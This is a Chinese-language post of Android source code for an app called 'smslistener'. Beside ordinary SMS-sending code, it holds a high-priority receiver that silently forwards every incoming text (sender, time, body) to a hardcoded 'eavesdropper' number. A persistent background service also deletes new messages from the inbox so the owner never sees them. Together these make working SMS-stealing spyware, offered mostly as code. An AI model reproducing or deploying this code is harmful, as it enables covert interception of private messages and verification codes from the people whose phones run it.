监听消息发送和消息是否被接收。
import android.app.Activity; import android.app.PendingIntent; import android.content.Intent; import android.content.IntentFilter; import android.os.Bundle; import android.provider.Telephony.Sms; import android.telephony.SmsManager; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; public class MainActivity extends Activity { private EditText num; private EditText text; private Button send; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); init();//启动service 触发短信拦截 Intent service=new Intent(MainActivity.this, SMSService.class); startService(service); } private class SendOnClickListenerImpl implements OnClickListener { public void onClick(View arg0) { Intent intent = new Intent("SMS_SEND_ACTION"); Intent intented = new Intent("SMS_DELIVERED_ACTION"); SmsManager sms = SmsManager.getDefault(); String phoneNum = num.getText().toString(); String smsContent = text.getText().toString(); PendingIntent pending = PendingIntent.getBroadcast( MainActivity.this, 0, intent, 0); PendingIntent pendinged = PendingIntent.getBroadcast( MainActivity.this, 0, intented, 0);//注册短信已发送 registerReceiver(new SMSReceive(), new IntentFilter( "SMS_SEND_ACTION")); //注册短信已被接收 registerReceiver(new SMSReceived(), new IntentFilter( "SMS_DELIVERED_ACTION"));//短信分段 if (smsContent.length() > 70) { List<String> smsText = sms.divideMessage(smsContent); Iterator<String> it = smsText.iterator(); while (it.hasNext()) { String next = it.next(); sms.sendTextMessage(phoneNum, null, next, pending, pendinged); } } else { sms.sendTextMessage(phoneNum, null, smsContent, pending, pendinged); } } } private void init() { this.num = (EditText) super.findViewById(R.id.num); this.text = (EditText) super.findViewById(R.id.text); this.send = (Button) super.findViewById(R.id.send); this.send.setOnClickListener(new SendOnClickListenerImpl()); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { // Handle action bar item clicks here. The action bar will // automatically handle clicks on the Home/Up button, so long // as you specify a parent activity in AndroidManifest.xml. int id = item.getItemId(); if (id == R.id.action_settings) { return true; } return super.onOptionsItemSelected(item); } }
短信发送提示
package com.example.smslistener; import android.app.Activity; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsManager; import android.widget.Toast; public class SMSReceive extends BroadcastReceiver { @Override public void onReceive(Context context, Intent arg1) { // TODO Auto-generated method stub if(arg1.getAction().equals("SMS_SEND_ACTION")){ switch(super.getResultCode()){ case Activity.RESULT_OK: Toast.makeText(context, "短信已发送!", Toast.LENGTH_SHORT).show(); break; case SmsManager.RESULT_ERROR_GENERIC_FAILURE: Toast.makeText(context, "短信发送失败!", Toast.LENGTH_SHORT).show(); break; } } } }
短信是否接收提示
package com.example.smslistener; import android.app.Activity; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsManager; import android.widget.Toast; public class SMSReceived extends BroadcastReceiver { @Override public void onReceive(Context context, Intent arg1) { // TODO Auto-generated method stub if (arg1.getAction().equals("SMS_DELIVERED_ACTION")) { switch (super.getResultCode()) { case Activity.RESULT_OK: Toast.makeText(context, "短信已接收", Toast.LENGTH_SHORT).show(); break; case SmsManager.RESULT_ERROR_GENERIC_FAILURE: Toast.makeText(context, "短信发送失败!", Toast.LENGTH_SHORT).show(); break; } } } }
监听系统广播,发送给窃听者
package com.example.smslistener; import java.text.SimpleDateFormat; import java.util.Date; import java.util.Locale; import android.app.PendingIntent; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsManager; import android.telephony.SmsMessage; public class SMSSendReceive extends BroadcastReceiver { @Override public void onReceive(Context arg0, Intent arg1) { if (arg1.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {//拿到短信内容 pdus是固定的key Object[] pdusDate = (Object[]) arg1.getExtras().get("pdus"); for (int i = 0; i < pdusDate.length; i++) { byte[] pdus = (byte[]) pdusDate[i]; SmsMessage message = SmsMessage.createFromPdu(pdus); String time = new SimpleDateFormat("yyyy,MM,dd hh.mm.ss", Locale.CHINA).format(new Date(message .getTimestampMillis())); String num = message.getOriginatingAddress(); String body = message.getMessageBody(); SmsManager sms = SmsManager.getDefault(); PendingIntent sentIntent = PendingIntent.getActivity(arg0, 0, arg1, PendingIntent.FLAG_UPDATE_CURRENT); String content = "短信号码:" + num + "\n发送时间:" + time + "\n短信内容:(" + body + ")"; //这里、、、 String destination = "10010"; sms.sendTextMessage(destination, null, content, sentIntent, null); } } } }
监听
<receiver android:name=".SMSSendReceive" > <intent-filter android:priority="2147483647" > <action android:name="android.provider.Telephony.s" /> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver>
触发短信拦截
package com.example.smslistener; import android.app.Service; import android.content.ContentResolver; import android.content.Intent; import android.net.Uri; import android.os.IBinder; import android.os.Process; public class SMSService extends Service { private SmsObserver mObserver; @Override public IBinder onBind(Intent arg0) { // TODO Auto-generated method stub return null; } @Override public void onCreate() {//contentresolver通过uri来找到数据 ContentResolver resolver = getContentResolver(); //实例化数据库观察者 mObserver = new SmsObserver(resolver, new SmsHandler(this)); // resolver.registerContentObserver(路径,notifyForDescendents,观察者) // notifyForDescendents=为false 表示精确匹配,即只匹配该Uri为true 表示可以同时匹配其派生的Uri resolver.registerContentObserver(Uri.parse("content://sms"), true, mObserver); } @Override public void onDestroy() { this.getContentResolver().unregisterContentObserver(mObserver); Process.killProcess(Process.myPid()); super.onDestroy(); } public int onStartCommand(Intent intent, int flags, int startId) { flags=START_STICKY; return super.onStartCommand(intent, flags, startId); } }
数据库观察者
package com.example.smslistener; import android.content.ContentResolver; import android.database.ContentObserver; import android.database.Cursor; import android.net.Uri; import android.os.Message; public class SmsObserver extends ContentObserver { private ContentResolver mResolver; public SmsHandler smsHandler; public SmsObserver(ContentResolver mResolver, SmsHandler handler) { super(handler); this.smsHandler = handler; this.mResolver = mResolver; } public void onChange(boolean selfChange) { Cursor mCursor = mResolver.query(Uri.parse("content://sms/inbox"), new String[] { "_id", "address", "read", "body", "thread_id" }, "read=?", new String[]{"0"}, "date desc"); if(mCursor==null){ return; }else{ while(mCursor.moveToNext()){ SmsInfo smsInfo=new SmsInfo(); int idIndex=mCursor.getColumnIndex("_id"); if(idIndex!=-1){ smsInfo._id=mCursor.getString(idIndex); } int threadId=mCursor.getColumnIndex("_thread_id"); if(threadId!=-1){ smsInfo.thread_id=mCursor.getString(threadId); } int addressIndex=mCursor.getColumnIndex("address"); if(addressIndex!=-1){ smsInfo.address=mCursor.getString(addressIndex); } int bodyIndex=mCursor.getColumnIndex("body"); if(bodyIndex!=-1){ smsInfo.body=mCursor.getString(bodyIndex); } // 拦截策略是否对短信进行操作 Message msg=smsHandler.obtainMessage(); //0不对短信进行操作;1将短信设置为已读;2将短信删除 smsInfo.action=2; msg.obj=smsInfo; smsHandler.sendMessage(msg); } } //擦屁股 if(mCursor!=null){ mCursor.close(); mCursor=null; } } }
字段信息
package com.example.smslistener; public class SmsInfo { public String _id = ""; public String thread_id = ""; public String address = ""; public String body = ""; public String read = ""; public int action = 0;// 1代表设置为已读,2表示删除短信 }
短信处理
package com.example.smslistener; import android.content.ContentValues; import android.content.Context; import android.net.Uri; import android.os.Handler; import android.os.Message; public class SmsHandler extends Handler { private Context mcontext; public SmsHandler(Context context) { this.mcontext = context; } @Override public void handleMessage(Message msg) { SmsInfo smsinfo = (SmsInfo) msg.obj; if (smsinfo.action == 1) { ContentValues value = new ContentValues(); value.put("read", "1"); mcontext.getContentResolver().update( Uri.parse("content://sms/inbox"), value, "thread_id=?", new String[] { smsinfo.thread_id }); } else if (smsinfo.action == 2) { Uri mUri = Uri.parse("content://sms/"); mcontext.getContentResolver().delete(mUri, "_id=?", new String[] { smsinfo._id }); } } }
权限: <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.WRITE_SMS"/>
布局自己解决。
时间: 2024-10-27 06:15:03